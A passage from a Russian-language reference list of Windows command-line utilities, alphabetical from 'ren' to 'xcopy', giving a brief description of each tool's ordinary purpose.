ren — переименование файлов и папок.
rename — переименование файлов и папок.
replace — замена файлов.
reset — утилита сброса служб терминалов.
rexec — выполнение команд на удаленных узлах на которых выполняется служба rexec.
rd — удаление папки.
rmdir — удаление папки.
route — обработка таблиц сетевых маршрутов.
rsh — выполнение команд на удаленных узлах, на которых запущена служба RSH.
rsm — управление ресурсами носителей с помощью службы «Съемные ЗУ».
runas — использование приложений от имени другого пользователя.
rundll32 — запуск стандартных команд-функций заложенных в dll.
rwinsta — сброс значений подсистем оборудования и программ сеанса в начальное состояние.
sc — установление связи с NT Service Controller и ее услугами.
schtasks — создание, удаление, изменение и опрос запланированных задачи в локальной или удаленной системе.
sdbinst — установщик базы данных совместимости.
secedit – автоматизация задач настройки безопасности.
set — вывод, присваивание и удаления переменных в командной строке.
setlocal — начало локализации изменений среды в пакетном файле.
setver — задает номер версии, который MS—DOS сообщает программе.
sfc — Проверка файлов Windows.
shadow — позволяет наблюдать за другим сеансом служб терминалов.
shift — изменение содержимого подставляемых параметров для пакетного файла.
shutdown — завершение сеанса, выключение и перезагрузка системы Windows.
smbinst — это процесс, принадлежащий System Management BIOS Driver Installer.
sort — сортирование файлов.
start — запуск программы или команды в отдельном окне.
subst — сопоставление имени диска указанному пути.
systeminfo — вывод информации о настройках системы.
taskkill — завершение одного или нескольких процессов.
tasklist — показывает запущенные программы и процессы выполняемые в данный момент.
tcmsetup — установка клиента телефонии.
tftp — обмен файлами с удаленным компьютером, на котором запущена служба TFTP.
time — просмотр или изменение текущего времени.
title — назначение заголовка окна интерпретатора.
tlntadmn — удаленное управление компьютером.
tracert — трассировка маршрута к указанному узлу.
tracerpt — обрабатывает двоичные файлы журнала отслеживания событий или потоки данных.
tracert6 — версия tracert для протокола IPv6.
tree — вывод структуры диска или каталога в виде дерева.
tscon — присоединяет сеанс пользователя к сеансу терминала.
tsdiscon — отключение сеанса терминала.
tskill — прекращение процесса.
tsshutdn — завершение работы сервера в установленном порядке.
type — вывод на экране содержимого текстовых файлов.
typeperf — выводит сведения о производительности на экран или в журнал.
unlodctr — удаление имен счётчиков и поясняющего текста для расширенного счётчика.
userinit — проводник системы Windows.
ver — вывод сведений о версии Windows.
verify — установка режима проверки правильности записи файлов на диск
vol — вывод метки и серийного номера тома для диска.
vssadmin — инструмент командной строки теневого копирования тома.
w32tm — диагностика службы времени.
wbemtest — тестер инструментария управления Windows.
winver — вывод информации о версии Windows.
wmic — инструмент для написания сценариев.
xcopy — копирование файлов и дерева папок.